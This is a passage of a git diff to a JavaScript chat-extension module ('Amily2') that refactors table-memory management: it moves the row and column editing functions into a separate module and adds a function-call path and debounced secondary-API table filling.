* - 推演actions/applyOperations.js (executor.js 改造为 legacy formatter)
* - UI 突变actions/ui-mutations.js (addRow / addColumn / ... / clearAllTablesPhase 0.4)
* - SuperMemory 分发events-dispatch.js (dispatchTableUpdate / dispatchAllTablesUpdate)
* - 渲染rendering.js (3 个 toCsv)
* - 模板templates.js
* - 预设preset.js
*
* 本文件保留:
* - 默认表格模板 + getDefaultTables
* - SuperMemory 事件分发dispatchTableUpdate / dispatchAllTablesUpdate / triggerSync
* - triggerSyncSuperMemory 全量同步入口
* - loadTables 的多档回退逻辑
* - 16 个 UI 突变addRow / addColumn / ... / clearAllTables
* - updateTableFromText 编排
* - updateTableFromText / updateTableFromOps 编排
* - rollbackState / rollbackAndRefill
*
* 所有原先 export 的接口一律保留兼容(移走的统一 re-export调用方零改动。
@@ -29,10 +30,35 @@ import { extensionName } from '../../utils/settings.js';
import { log } from './logger.js';
import { executeCommands } from './executor.js';
import { applyOperations } from './actions/applyOperations.js';
import { fillWithSecondaryApi } from './secondary-filler.js';
import { renderTables } from '../../ui/table-bindings.js';
import { updateOrInsertTableInChat } from '../../ui/message-table-renderer.js';
import { createTableUpdateEvent, inferTableRole } from './events-schema.js';
import { dispatchTableUpdate, dispatchAllTablesUpdate } from './events-dispatch.js';
// ── UI 突变Phase 0.4 迁至 actions/ui-mutations.js此处 re-export 保持兼容) ──
import { commitPendingDeletions } from './actions/ui-mutations.js';
export {
deleteColumn,
moveRow,
insertRow,
addRow,
addColumn,
updateHeader,
deleteRow,
restoreRow,
commitPendingDeletions,
insertColumn,
moveColumn,
deleteTable,
addTable,
renameTable,
moveTable,
updateTableRules,
updateRow,
clearAllTables,
updateColumnWidth,
} from './actions/ui-mutations.js';
// ── 新模块IAD 拆分后的依赖) ────────────────────────────────────────────
import {
@@ -76,45 +102,7 @@ import {
importGlobalPreset as _presetImportGlobalPreset,
} from './preset.js';
// ── 私有:SuperMemory 事件分发 ────────────────────────────────────────────
/**
* 把单个表格的最新状态推送给 SuperMemory优先 Bus 直调,降级 CustomEvent
* @param {number} tableIndex
*/
function dispatchTableUpdate(tableIndex) {
const settings = extension_settings[extensionName] || {};
if (settings.super_memory_enabled === false) return;
const state = getState();
if (!state || !state[tableIndex]) return;
const table = state[tableIndex];
const role = inferTableRole(table.name);
const smBus = window.Amily2Bus?.query('SuperMemory');
if (smBus?.pushUpdate) {
smBus.pushUpdate({
tableName: table.name,
data: table.rows,
headers: table.headers,
rowStatuses: table.rowStatuses ?? [],
role,
});
} else {
document.dispatchEvent(createTableUpdateEvent(table));
}
log(`[SuperMemory] Dispatched update for ${table.name} (role: ${role})`, 'info');
}
/**
* 触发所有表格的全量同步Pipeline 变更后调用)。
*/
function dispatchAllTablesUpdate() {
const state = getState();
if (!state) return;
log('[SuperMemory] Dispatching update events for ALL tables...', 'info');
state.forEach((_, index) => dispatchTableUpdate(index));
}
// ── SuperMemory 同步入口 ──────────────────────────────────────────────────
/**
* 主动触发所有表格同步到 SuperMemory外部调用入口
@@ -351,438 +339,6 @@ export function saveTables(sourceAction = '未知操作') {
return true;
}
// ── 16 个 UI 突变 ─────────────────────────────────────────────────────────
export function deleteColumn(tableIndex, colIndex) {
const tables = getState();
if (!tables || !tables[tableIndex] || colIndex < 0 || colIndex >= tables[tableIndex].headers.length) {
log(`删除列失败:在表格 ${tableIndex} 中找不到索引为 ${colIndex} 的列。`, 'error');
return;
}
tables[tableIndex].headers.splice(colIndex, 1);
tables[tableIndex].rows.forEach(row => {
if (row.length > colIndex) row.splice(colIndex, 1);
});
if (tables[tableIndex].columnWidths && tables[tableIndex].columnWidths.length > colIndex) {
tables[tableIndex].columnWidths.splice(colIndex, 1);
}
log(`成功删除了表格 ${tableIndex} 的第 ${colIndex + 1} 列。`, 'success');
saveTables(tables);
dispatchTableUpdate(tableIndex);
}
export function moveRow(tableIndex, rowIndex, direction) {
const tables = getState();
const table = tables?.[tableIndex];
if (!table || rowIndex < 0 || rowIndex >= table.rows.length) return;
const newIndex = direction === 'up' ? rowIndex - 1 : rowIndex + 1;
if (newIndex < 0 || newIndex >= table.rows.length) return;
const [movedRow] = table.rows.splice(rowIndex, 1);
table.rows.splice(newIndex, 0, movedRow);
if (table.rowStatuses && table.rowStatuses.length === table.rows.length + 1) {
const [movedStatus] = table.rowStatuses.splice(rowIndex, 1);
table.rowStatuses.splice(newIndex, 0, movedStatus);
}
log(`成功将表格 ${tableIndex} 的第 ${rowIndex + 1} 行移动到第 ${newIndex + 1} 行。`, 'success');
saveTables(tables);
dispatchTableUpdate(tableIndex);
}
export function insertRow(tableIndex, data, position = 'below') {
const tables = getState();
const table = tables?.[tableIndex];
if (!table) {
log(`插入行失败:找不到索引为 ${tableIndex} 的表格。`, 'error');
return;
}
let insertIndex;
if (typeof data === 'number') {
insertIndex = position === 'above' ? data : data + 1;
} else {
insertIndex = table.rows.length;
}
if (insertIndex < 0) insertIndex = 0;
if (insertIndex > table.rows.length) insertIndex = table.rows.length;
const newRow = new Array(table.headers.length).fill('');
if (typeof data === 'object' && data !== null) {
for (const colIndex in data) {
const cIndex = parseInt(colIndex, 10);
if (!isNaN(cIndex) && cIndex < newRow.length) {
newRow[cIndex] = data[colIndex];
addHighlight(tableIndex, insertIndex, cIndex);
}
}
}
table.rows.splice(insertIndex, 0, newRow);
if (!table.rowStatuses) table.rowStatuses = Array(table.rows.length).fill('normal');
table.rowStatuses.splice(insertIndex, 0, 'normal');
markTableUpdated(tableIndex);
dispatchTableUpdate(tableIndex);
log(`成功在表格 ${table.name} (索引 ${tableIndex}) 的第 ${insertIndex + 1} 行位置插入了新行。`, 'success');
commitToLastMessage(tables);
}
export function addRow(tableIndex) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const colCount = table.headers.length;
const newRow = Array(colCount).fill('');
table.rows.push(newRow);
if (!table.rowStatuses) table.rowStatuses = Array(table.rows.length).fill('normal');
table.rowStatuses.push('normal');
markTableUpdated(tableIndex);
dispatchTableUpdate(tableIndex);
log(`表格 [${table.name}] 新增了一行。`, 'info');
commitToLastMessage(tables);
}
export function addColumn(tableIndex) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const newHeader = `新列 ${table.headers.length + 1}`;
table.headers.push(newHeader);
table.rows.forEach(row => row.push(''));
if (!table.columnWidths) table.columnWidths = [];
table.columnWidths.push(null);
log(`表格 [${table.name}] 新增了一列。`, 'info');
commitToLastMessage(tables);
}
export function updateHeader(tableIndex, colIndex, value) {
const tables = getState();
if (!tables || !tables[tableIndex] || tables[tableIndex].headers[colIndex] === undefined) return;
const tableName = tables[tableIndex].name;
const originalHeader = tables[tableIndex].headers[colIndex];
tables[tableIndex].headers[colIndex] = value;
log(`表格 [${tableName}] 的表头“${originalHeader}”已更新为“${value}”。`, 'info');
commitToLastMessage(tables);
}
export async function deleteRow(tableIndex, rowIndex) {
const tables = getState();
const table = tables?.[tableIndex];
if (!table || !table.rows[rowIndex]) return;
if (!table.rowStatuses) {
table.rowStatuses = Array(table.rows.length).fill('normal');
}
table.rowStatuses[rowIndex] = 'pending-deletion';
markTableUpdated(tableIndex);
log(`表格 [${table.name}] 的第 ${rowIndex + 1} 行已标记为待删除。`, 'info');
const context = getContext();
if (context.chat?.length > 0) {
const lastMessage = context.chat[context.chat.length - 1];
if (_persistSaveStateToMessage(tables, lastMessage)) {
await saveChat();
renderTables();
dispatchTableUpdate(tableIndex);
return;
}
}
await saveChatDebounced();
renderTables();
dispatchTableUpdate(tableIndex);
}
export async function restoreRow(tableIndex, rowIndex) {
const tables = getState();
const table = tables?.[tableIndex];
if (!table || !table.rows[rowIndex] || !table.rowStatuses) return;
table.rowStatuses[rowIndex] = 'normal';
markTableUpdated(tableIndex);
log(`表格 [${table.name}] 的第 ${rowIndex + 1} 行已恢复。`, 'info');
const context = getContext();
if (context.chat?.length > 0) {
const lastMessage = context.chat[context.chat.length - 1];
if (_persistSaveStateToMessage(tables, lastMessage)) {
await saveChat();
renderTables();
dispatchTableUpdate(tableIndex);
return;
}
}
await saveChatDebounced();
renderTables();
dispatchTableUpdate(tableIndex);
}
export function commitPendingDeletions() {
const tables = getState();
if (!tables) return false;
let deletionCount = 0;
tables.forEach((table, tableIndex) => {
if (!table.rowStatuses || table.rowStatuses.length === 0) return;
let tableHadDeletions = false;
for (let i = table.rows.length - 1; i >= 0; i--) {
if (table.rowStatuses[i] === 'pending-deletion') {
table.rows.splice(i, 1);
table.rowStatuses.splice(i, 1);
deletionCount++;
tableHadDeletions = true;
}
}
if (tableHadDeletions) markTableUpdated(tableIndex);
});
if (deletionCount > 0) {
log(`已提交并永久删除了 ${deletionCount} 行。`, 'info');
const updated = _storeGetUpdatedTables();
if (updated.size > 0) {
updated.forEach(tableIndex => dispatchTableUpdate(tableIndex));
}
return true;
}
return false;
}
export function insertColumn(tableIndex, colIndex, position) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const insertAt = position === 'left' ? colIndex : colIndex + 1;
table.headers.splice(insertAt, 0, '新列');
table.rows.forEach(row => row.splice(insertAt, 0, ''));
if (!table.columnWidths) table.columnWidths = [];
table.columnWidths.splice(insertAt, 0, null);
log(`表格 [${table.name}] 在第 ${colIndex + 1} 列的${position === 'left' ? '左侧' : '右侧'}插入了新列。`, 'info');
commitToLastMessage(tables);
}
export function moveColumn(tableIndex, colIndex, direction) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
const headers = table.headers;
const rows = table.rows;
const targetIndex = direction === 'left' ? colIndex - 1 : colIndex + 1;
if (targetIndex < 0 || targetIndex >= headers.length) {
log(`无法移动列:索引 ${colIndex} 已在边界。`, 'warn');
return;
}
const [headerToMove] = headers.splice(colIndex, 1);
headers.splice(targetIndex, 0, headerToMove);
rows.forEach(row => {
const [cellToMove] = row.splice(colIndex, 1);
row.splice(targetIndex, 0, cellToMove);
});
if (table.columnWidths && table.columnWidths.length > colIndex) {
const [widthToMove] = table.columnWidths.splice(colIndex, 1);
table.columnWidths.splice(targetIndex, 0, widthToMove);
}
log(`表格 [${table.name}] 的列“${headerToMove}”已向${direction === 'left' ? '左' : '右'}移动。`, 'info');
commitToLastMessage(tables);
}
export function deleteTable(tableIndex) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const tableName = tables[tableIndex].name;
tables.splice(tableIndex, 1);
log(`表格 [${tableName}] 已被成功废黜。`, 'success');
const success = commitToLastMessage(tables);
if (success) {
log('废黜表格后的状态已强制写入最新消息并立即保存。', 'success');
} else {
log('无法找到可锚定的消息或保存失败,删除操作可能不会被持久化!', 'error');
}
}
export function addTable(tableName) {
if (!tableName || !tableName.trim()) {
log('无法创建表格:名称不能为空。', 'error');
toastr.error('表格名称不能为空。', '创建失败');
return;
}
let tables = getState();
if (!tables) {
loadTables();
tables = getState();
}
if (tables.some(table => table.name === tableName.trim())) {
log(`无法创建表格:名为 "${tableName}" 的表格已存在。`, 'error');
toastr.error(`名为 "${tableName}" 的表格已存在。`, '创建失败');
return;
}
const newTable = {
name: tableName.trim(),
headers: ['新列 1'],
rows: [],
rowStatuses: [],
columnWidths: [],
note: '这是一个新创建的表格。',
rule_add: '允许',
rule_delete: '允许',
rule_update: '允许',
charLimitRules: {},
rowLimitRule: 0,
};
tables.push(newTable);
log(`已成功创建新表格:[${tableName.trim()}]。`, 'success');
const success = commitToLastMessage(tables);
if (success) {
log('新表格状态已强制写入最新消息并立即保存。', 'success');
} else {
log('无法找到可锚定的消息或保存失败,新表格可能不会被持久化!', 'error');
}
}
export function renameTable(tableIndex, newName) {
const tables = getState();
if (!tables || !tables[tableIndex]) {
log('重命名失败:表格不存在。', 'error');
toastr.error('表格不存在。', '重命名失败');
return;
}
const trimmedName = newName.trim();
if (!trimmedName) {
log('重命名失败:名称不能为空。', 'error');
toastr.error('表格名称不能为空。', '重命名失败');
return;
}
if (tables.some((table, index) => index !== tableIndex && table.name === trimmedName)) {
log(`重命名失败:名为 "${trimmedName}" 的表格已存在。`, 'error');
toastr.error(`名为 "${trimmedName}" 的表格已存在。`, '重命名失败');
return;
}
const oldName = tables[tableIndex].name;
tables[tableIndex].name = trimmedName;
log(`表格 "${oldName}" 已重命名为 "${trimmedName}"。`, 'success');
commitToLastMessage(tables);
}
export function moveTable(tableIndex, direction) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const newIndex = direction === 'up' ? tableIndex - 1 : tableIndex + 1;
if (newIndex < 0 || newIndex >= tables.length) {
log(`无法移动表格:索引 ${tableIndex} 已在边界。`, 'warn');
return;
}
const temp = tables[tableIndex];
tables[tableIndex] = tables[newIndex];
tables[newIndex] = temp;
log(`表格 [${temp.name}] 的顺序已调整。`, 'success');
const success = commitToLastMessage(tables);
if (success) {
log('表格顺序调整后的状态已强制写入最新消息并立即保存。', 'success');
} else {
log('无法找到可锚定的消息或保存失败,顺序调整可能不会被持久化!', 'error');
}
}
export function updateTableRules(tableIndex, newRules) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
table.note = newRules.note;
table.rule_add = newRules.rule_add;
table.rule_delete = newRules.rule_delete;
table.rule_update = newRules.rule_update;
table.charLimitRules = newRules.charLimitRules;
table.rowLimitRule = newRules.rowLimitRule;
table.simplifyRowThreshold = newRules.simplifyRowThreshold;
delete table.charLimitRule;
log(`表格 [${table.name}] 的规则已更新。`, 'info');
commitToLastMessage(tables);
}
export function updateRow(tableIndex, rowIndex, data) {
const tables = getState();
if (!tables || !tables[tableIndex]) {
log(`AI指令错误尝试在不存在的表格索引 ${tableIndex} 中操作。`, 'error');
return;
}
const table = tables[tableIndex];
if (rowIndex >= table.rows.length) {
log(`AI指令意图更新不存在的行 (rowIndex: ${rowIndex}),已智能转换为在表格 [${table.name}] 末尾新增一行。`, 'warn');
insertRow(tableIndex, data);
return;
}
const row = table.rows[rowIndex];
for (const colIndex in data) {
const cIndex = parseInt(colIndex, 10);
if (cIndex < row.length) {
row[cIndex] = data[cIndex];
addHighlight(tableIndex, rowIndex, cIndex);
}
}
markTableUpdated(tableIndex);
dispatchTableUpdate(tableIndex);
log(`AI 指令更新了表格 [${table.name}] 的第 ${rowIndex + 1} 行。`, 'info');
commitToLastMessage(tables);
}
export function clearAllTables() {
const tables = getState();
if (!tables) {
log('无法清空:当前表格状态为空。', 'error');
return;
}
tables.forEach((table, tableIndex) => {
if (table.rows.length > 0) markTableUpdated(tableIndex);
table.rows = [];
table.rowStatuses = [];
});
log('所有表格的行数据已在内存中清空。', 'warn');
dispatchAllTablesUpdate();
const success = commitToLastMessage(tables);
if (success) {
log('清空行数据后的状态已强制写入最新消息并立即保存。', 'success');
toastr.success('所有表格的剧情内容已清空。', '操作完成');
} else {
log('无法找到可锚定的消息或保存失败,清空操作可能不会被持久化!', 'error');
}
}
// ── 渲染 wrapper注入当前 state ────────────────────────────────────────
export function convertTablesToCsvString() {
@@ -858,6 +414,78 @@ export async function updateTableFromText(textContent, options = {}) {
const affectedTables = [...new Set(changes.map(c => c.tableIndex))];
affectedTables.forEach(tableIndex => dispatchTableUpdate(tableIndex));
// 【skipPersist】分步填表保留楼层场景状态应由调用方保存到“被填楼层的最后一条”(E)
// 不能在此处统一写到最新楼 L——否则 L 上的快照会盖住 E 的swipe 最新楼时回退掉本轮已填内容。
if (options.skipPersist) {
document.dispatchEvent(new CustomEvent('amily2-force-ui-reload'));
return;
}
const context = getContext();
if (context.chat && context.chat.length > 0) {
const lastMessage = context.chat[context.chat.length - 1];
if (_persistSaveStateToMessage(getState(), lastMessage)) {
await saveChat();
toastr.success('已根据AI的指示成功更新表格', '填表完成');
document.dispatchEvent(new CustomEvent('amily2-force-ui-reload'));
return;
}
}
saveChatDebounced();
toastr.success('已根据AI的指示成功更新表格', '填表完成');
document.dispatchEvent(new CustomEvent('amily2-force-ui-reload'));
}
/**
* 直接从 Operation[] 应用变更Function Call 路径),跳过文本解析。
* 后续流程与 updateTableFromText 完全一致。
*
* @param {import('./dto/Operation.js').Operation[]} ops
* @param {Object} options - 同 updateTableFromText 的 options
*/
export async function updateTableFromOps(ops, options = {}) {
const settings = extension_settings[extensionName] || {};
if (settings.table_system_enabled === false) return;
if (!Array.isArray(ops) || ops.length === 0) {
log('Function Call 返回操作列表为空,无需更新表格。', 'info');
return;
}
const { state, changes } = applyOperations(getState(), ops);
if (changes.length === 0) {
log('Function Call 操作未产生任何实质性变更。', 'info');
return;
}
setState(state);
if (options.immediateDelete) {
commitPendingDeletions();
}
changes.forEach(change => {
markTableUpdated(change.tableIndex);
if (change.type === 'update' || change.type === 'insert') {
if (change.rowIndex !== undefined && change.colIndex !== undefined) {
addHighlight(change.tableIndex, change.rowIndex, change.colIndex);
}
}
});
log(`Function Call 成功执行了 ${changes.length} 处变更。`, 'success');
const affectedTables = [...new Set(changes.map(c => c.tableIndex))];
affectedTables.forEach(tableIndex => dispatchTableUpdate(tableIndex));
// 【skipPersist】见 updateTableFromText 同名说明:分步填表由调用方存到 E不在此写最新楼。
if (options.skipPersist) {
document.dispatchEvent(new CustomEvent('amily2-force-ui-reload'));
return;
}
const context = getContext();
if (context.chat && context.chat.length > 0) {
const lastMessage = context.chat[context.chat.length - 1];
@@ -961,7 +589,7 @@ export async function rollbackAndRefill() {
const lastMessage = context.chat[context.chat.length - 1];
try {
await fillWithSecondaryApi(lastMessage, true);
await fillWithSecondaryApi(lastMessage, true, { targetMessage: lastMessage });
log('回退并重新填表操作完成。', 'success');
} catch (error) {
log(`回退重填过程中发生错误: ${error.message}`, 'error');
@@ -971,19 +599,6 @@ export async function rollbackAndRefill() {
// ── 杂项 ──────────────────────────────────────────────────────────────────
export function updateColumnWidth(tableIndex, colIndex, width) {
const tables = getState();
if (!tables || !tables[tableIndex]) return;
const table = tables[tableIndex];
if (!table.columnWidths) table.columnWidths = [];
while (table.columnWidths.length < table.headers.length) {
table.columnWidths.push(null);
}
table.columnWidths[colIndex] = width;
commitToLastMessage(tables);
}
export function isCurrentTablesEmpty() {
const tables = getState();
if (!tables || tables.length === 0) return true;

View File

@@ -4,13 +4,69 @@ import { saveChat } from "/script.js";
import { renderTables } from '../../ui/table-bindings.js';
import { updateOrInsertTableInChat } from '../../ui/message-table-renderer.js';
import { extensionName } from "../../utils/settings.js";
import { updateTableFromText, getBatchFillerRuleTemplate, getBatchFillerFlowTemplate, convertTablesToCsvString, saveStateToMessage, getMemoryState, clearHighlights } from './manager.js';
import { updateTableFromText, updateTableFromOps, getBatchFillerRuleTemplate, getBatchFillerFlowTemplate, convertTablesToCsvString, saveStateToMessage, getMemoryState, clearHighlights } from './manager.js';
import { getPresetPrompts, getMixedOrder } from '../../PresetSettings/index.js';
import { callAI, generateRandomSeed } from '../api.js';
import { callAI, callAIForTools, generateRandomSeed } from '../api.js';
import { TABLE_FILL_TOOL, parseToolCallArgs } from './formatters/tool-call.js';
import { callNccsAI } from '../api/NccsApi.js';
import { extractBlocksByTags, applyExclusionRules } from '../utils/rag-tag-extractor.js';
import { resolveTableRuleConfig } from '../../utils/config/RuleProfileManager.js';
import { safeLorebookEntries } from '../tavernhelper-compatibility.js';
import { log } from './logger.js';
import { showTableFillReviewModal } from '../../ui/page-window.js';
const CONTINUE_PROMPT_SECONDARY = '上一条回复不完整或缺少 <Amily2Edit> 指令块。请直接从中断处继续生成剩余内容,不要重复已输出的文本,也不要添加任何解释或寒暄,确保最终输出中包含完整的 <Amily2Edit>...</Amily2Edit> 指令块。';
let secondaryFillerDebounceTimer = null;
let secondaryFillerRunning = false;
let currentAbortController = null;
async function callSecondaryModel(messages, signal) {
const settings = extension_settings[extensionName] || {};
if (settings.nccsEnabled) {
return await callNccsAI(messages, { signal });
}
return await callAI(messages, { signal });
}
async function requestSecondaryContinuation(baseMessages, partialResponse) {
const continueMessages = [
...baseMessages,
{ role: 'assistant', content: partialResponse || '' },
{ role: 'user', content: CONTINUE_PROMPT_SECONDARY },
];
const continued = await callSecondaryModel(continueMessages);
if (!continued) return null;
return `${partialResponse || ''}${continued}`;
}
async function markTargetsProcessed(targetMessages, { skipTableSave = false } = {}) {
if (!targetMessages || targetMessages.length === 0) return;
const lastProcessedMsg = targetMessages[targetMessages.length - 1].msg;
for (const target of targetMessages) {
if (!target.msg.extra) target.msg.extra = {};
target.msg.extra.amily2_process_hash = target.hash;
}
if (!skipTableSave) {
const memoryState = getMemoryState();
if (saveStateToMessage(memoryState, lastProcessedMsg)) {
renderTables();
updateOrInsertTableInChat();
}
}
await saveChat();
}
async function commitSecondaryFillResult(rawContent, targetMessages) {
// skipPersist不让 updateTableFromText 把状态写到最新楼 L改由 markTargetsProcessed
// 存到 lastProcessedMsg(E)——否则保留楼层场景下 swipe 最新楼会回退掉本轮已填内容。
await updateTableFromText(rawContent, { skipPersist: true });
await markTargetsProcessed(targetMessages);
}
async function getWorldBookContext() {
@@ -65,11 +121,35 @@ async function getWorldBookContext() {
return content.trim() ? `<世界书>\n${content.trim()}\n</世界书>` : '';
}
export async function fillWithSecondaryApi(latestMessage, forceRun = false) {
clearHighlights();
export async function fillWithSecondaryApi(latestMessage, forceRun = false, opts = {}) {
if (secondaryFillerRunning) {
log('分步填表正在进行中,跳过本次触发。', 'warn');
return;
}
const settings = extension_settings[extensionName] || {};
// 【V2.1.1】分步填表触发延迟 / 防抖:自动触发时若配置了延迟,则延后执行,
// 延迟期内再次到来的事件会重置计时器,避免消息连续到达时重复拉起填表。
// 注意:防抖与早返路径都不持锁,避免 setTimeout 回调撞上自己的锁导致死锁。
const delay = Math.max(0, parseInt(settings.secondary_filler_delay || 0, 10));
if (!forceRun && delay > 0) {
if (secondaryFillerDebounceTimer) {
clearTimeout(secondaryFillerDebounceTimer);
}
secondaryFillerDebounceTimer = setTimeout(() => {
secondaryFillerDebounceTimer = null;
fillWithSecondaryApi(latestMessage, forceRun, opts);
}, delay);
console.log(`[Amily2-副API] 分步填表已按防抖延迟 ${delay}ms 调度。`);
return;
}
if (secondaryFillerDebounceTimer) {
clearTimeout(secondaryFillerDebounceTimer);
secondaryFillerDebounceTimer = null;
}
clearHighlights();
// 总开关关闭时,分步填表同样禁用
if (settings.table_system_enabled === false) {
log('【分步填表】表格系统总开关已关闭,跳过。', 'info');
@@ -93,32 +173,24 @@ export async function fillWithSecondaryApi(latestMessage, forceRun = false) {
return;
}
// 所有早返检查通过后再获取锁,确保 finally 一定能解锁
secondaryFillerRunning = true;
currentAbortController = new AbortController();
const signal = currentAbortController.signal;
try {
const bufferSize = parseInt(settings.secondary_filler_buffer || 0, 10);
const batchSize = parseInt(settings.secondary_filler_batch || 0, 10);
const batchSize = parseInt(settings.secondary_filler_batch || 0, 10);
const contextLimit = parseInt(settings.secondary_filler_context || 2, 10);
// 【V1.7.7 修复】限制最大回溯深度,防止更新后无限填补旧历史
// 响应用户反馈:扫描深度 = 上下文 + 填表批次 + 保留楼层 + 冗余量(10)
// redundancy (冗余量): 额外扫描 10 层作为安全缓冲,防止因消息索引计算偏差导致漏掉边缘消息
// 扫描深度 = 上下文 + 填表批次 + 冗余量(10)
// bufferSize保留楼层仅用于限定尾部边界 validEndIndex
// 不再回流到扫描起点,避免重复影响范围
const redundancy = 10;
const maxScanDepth = contextLimit + batchSize + bufferSize + redundancy;
const maxScanDepth = contextLimit + batchSize + redundancy;
const chat = context.chat;
const totalMessages = chat.length;
const validEndIndex = totalMessages - 1 - bufferSize;
// 计算扫描的起始索引不小于0
const scanStartIndex = Math.max(0, validEndIndex - maxScanDepth);
if (validEndIndex < 0) {
console.log(`[Amily2-副API] 消息数量不足以超出保留区(${bufferSize}),跳过。`);
return;
}
let targetMessages = [];
let needsProcessing = false;
const getContentHash = (content) => {
let hash = 0, i, chr;
@@ -126,45 +198,74 @@ export async function fillWithSecondaryApi(latestMessage, forceRun = false) {
for (i = 0; i < content.length; i++) {
chr = content.charCodeAt(i);
hash = ((hash << 5) - hash) + chr;
hash |= 0;
hash |= 0;
}
return hash;
};
// 【修复】改为正向扫描,优先处理最老的未处理消息,防止遗留消息被挤出扫描区
for (let i = scanStartIndex; i <= validEndIndex; i++) {
const msg = chat[i];
if (msg.is_user) continue;
let targetMessages = [];
const currentHash = getContentHash(msg.mes);
const savedHash = msg.metadata?.Amily2_Process_Hash;
const isUnprocessed = !savedHash;
const isChanged = savedHash && savedHash !== currentHash;
if (isUnprocessed || isChanged) {
targetMessages.push({ index: i, msg: msg, hash: currentHash });
if (batchSize > 0 && targetMessages.length >= batchSize) {
needsProcessing = true;
break;
}
}
}
if (targetMessages.length === 0) {
console.log("[Amily2-副API] 没有发现需要处理的消息。");
return;
}
if (batchSize > 0) {
if (targetMessages.length < batchSize) {
console.log(`[Amily2-副API] 批量模式: 当前累积 ${targetMessages.length}/${batchSize} 条未处理消息,暂不触发。`);
// 【SWIPED 旁路】swipe 后强制处理刚切出来的最新消息:
// 跳过扫描 / bufferSize / batchSize 累积逻辑,直接锁定目标
if (opts.targetMessage) {
const targetIndex = chat.indexOf(opts.targetMessage);
if (targetIndex < 0) {
console.log("[Amily2-副API] 旁路目标消息不在聊天列表中,跳过。");
return;
}
if (opts.targetMessage.is_user) {
console.log("[Amily2-副API] 旁路目标是用户消息,跳过。");
return;
}
targetMessages.push({
index: targetIndex,
msg: opts.targetMessage,
hash: getContentHash(opts.targetMessage.mes),
});
} else {
targetMessages = [targetMessages[targetMessages.length - 1]];
// 常规扫描路径
const validEndIndex = totalMessages - 1 - bufferSize;
const scanStartIndex = Math.max(0, validEndIndex - maxScanDepth);
if (validEndIndex < 0) {
console.log(`[Amily2-副API] 消息数量不足以超出保留区(${bufferSize}),跳过。`);
return;
}
// 【修复】改为正向扫描,优先处理最老的未处理消息,防止遗留消息被挤出扫描区
for (let i = scanStartIndex; i <= validEndIndex; i++) {
const msg = chat[i];
if (msg.is_user) continue;
const currentHash = getContentHash(msg.mes);
const savedHash = msg.extra?.amily2_process_hash;
const isUnprocessed = !savedHash;
const isChanged = savedHash && savedHash !== currentHash;
if (isUnprocessed || isChanged) {
targetMessages.push({ index: i, msg: msg, hash: currentHash });
if (batchSize > 0 && targetMessages.length >= batchSize) {
break;
}
}
}
if (targetMessages.length === 0) {
console.log("[Amily2-副API] 没有发现需要处理的消息。");
return;
}
if (batchSize > 0) {
if (targetMessages.length < batchSize) {
console.log(`[Amily2-副API] 批量模式: 当前累积 ${targetMessages.length}/${batchSize} 条未处理消息,暂不触发。`);
return;
}
} else {
targetMessages = [targetMessages[targetMessages.length - 1]];
}
}
console.log(`[Amily2-副API] 触发填表: 处理 ${targetMessages.length} 条消息。索引范围: ${targetMessages[0].index} - ${targetMessages[targetMessages.length-1].index}`);
@@ -272,79 +373,173 @@ export async function fillWithSecondaryApi(latestMessage, forceRun = false) {
console.dir(messages);
console.groupEnd();
let rawContent;
if (settings.nccsEnabled) {
console.log('[Amily2-副API] 使用 Nccs API 进行分步填表...');
rawContent = await callNccsAI(messages);
if (settings.tableFillFunctionCall) {
// Function Call 路径
const argsString = await callAIForTools(messages, TABLE_FILL_TOOL, { slot: 'tableFilling', signal });
if (!argsString) {
console.error('[Amily2-副API] Function Call 返回为空。');
return;
}
const ops = parseToolCallArgs(argsString);
if (ops.length === 0) {
let parseHint = '';
try {
const rawParsed = JSON.parse(argsString);
const rawOpsLen = rawParsed?.operations?.length ?? 0;
if (rawOpsLen > 0) parseHint = `(响应含 ${rawOpsLen} 条操作,但全部未通过格式校验)`;
} catch {
parseHint = '(响应 JSON 解析失败)';
}
console.warn(`[Amily2-副API] Function Call 返回操作列表为空${parseHint},原始响应:\n${argsString}`);
toastr.info('AI 判断此范围无需修改。', 'Amily2-分步填表');
await markTargetsProcessed(targetMessages, { skipTableSave: true });
} else {
// skipPersist状态由 markTargetsProcessed 存到 E不写最新楼同文本路径
await updateTableFromOps(ops, { skipPersist: true });
await markTargetsProcessed(targetMessages);
toastr.success('分步填表Function Call执行完毕。', 'Amily2-分步填表');
}
} else {
console.log('[Amily2-副API] 使用 tableFilling slot 进行分步填表...');
rawContent = await callAI(messages, { slot: 'tableFilling' });
// Legacy 文本路径
let rawContent;
if (settings.nccsEnabled) {
console.log('[Amily2-副API] 使用 Nccs API 进行分步填表...');
rawContent = await callNccsAI(messages, { signal });
} else {
console.log('[Amily2-副API] 使用 tableFilling slot 进行分步填表...');
rawContent = await callAI(messages, { slot: 'tableFilling', signal });
}
if (!rawContent) {
console.error('[Amily2-副API] 未能获取AI响应内容。');
return;
}
console.log('[Amily2号-副API-原始回复]:', rawContent);
if (!rawContent.includes('<Amily2Edit>')) {
const rangeLabel = `${targetMessages[0].index + 1} - ${targetMessages[targetMessages.length - 1].index + 1}`;
console.warn(`[Amily2-副API] 响应未包含 <Amily2Edit> 指令块(楼层 ${rangeLabel}),弹出检查窗口等待用户处理。`);
toastr.warning(`分步填表(楼层 ${rangeLabel})的响应缺少 <Amily2Edit> 指令块,请在弹窗中处理。`, 'Amily2-分步填表');
if (latestMessage && latestMessage.extra) {
delete latestMessage.extra.amily2_retry_count;
}
showTableFillReviewModal(rawContent, {
title: `分步填表响应检查 - 楼层 ${rangeLabel}`,
subtitle: `分步填表(楼层 ${rangeLabel})的 AI 响应未包含有效的 <Amily2Edit> 指令块。请检查原始响应并选择处理方式。`,
onContinue: async (currentText) => {
const merged = await requestSecondaryContinuation(messages, currentText);
if (!merged) { toastr.error('补全请求失败或返回为空。', '继续补全'); return null; }
if (!merged.includes('<Amily2Edit>')) {
toastr.warning('补全后仍未包含 <Amily2Edit> 指令块,可继续补全、手动应用或重新填表。', '继续补全');
} else {
toastr.success('已获得包含指令块的补全内容,可点击”手动应用”写入。', '继续补全');
}
return merged;
},
onApply: async (editedText) => {
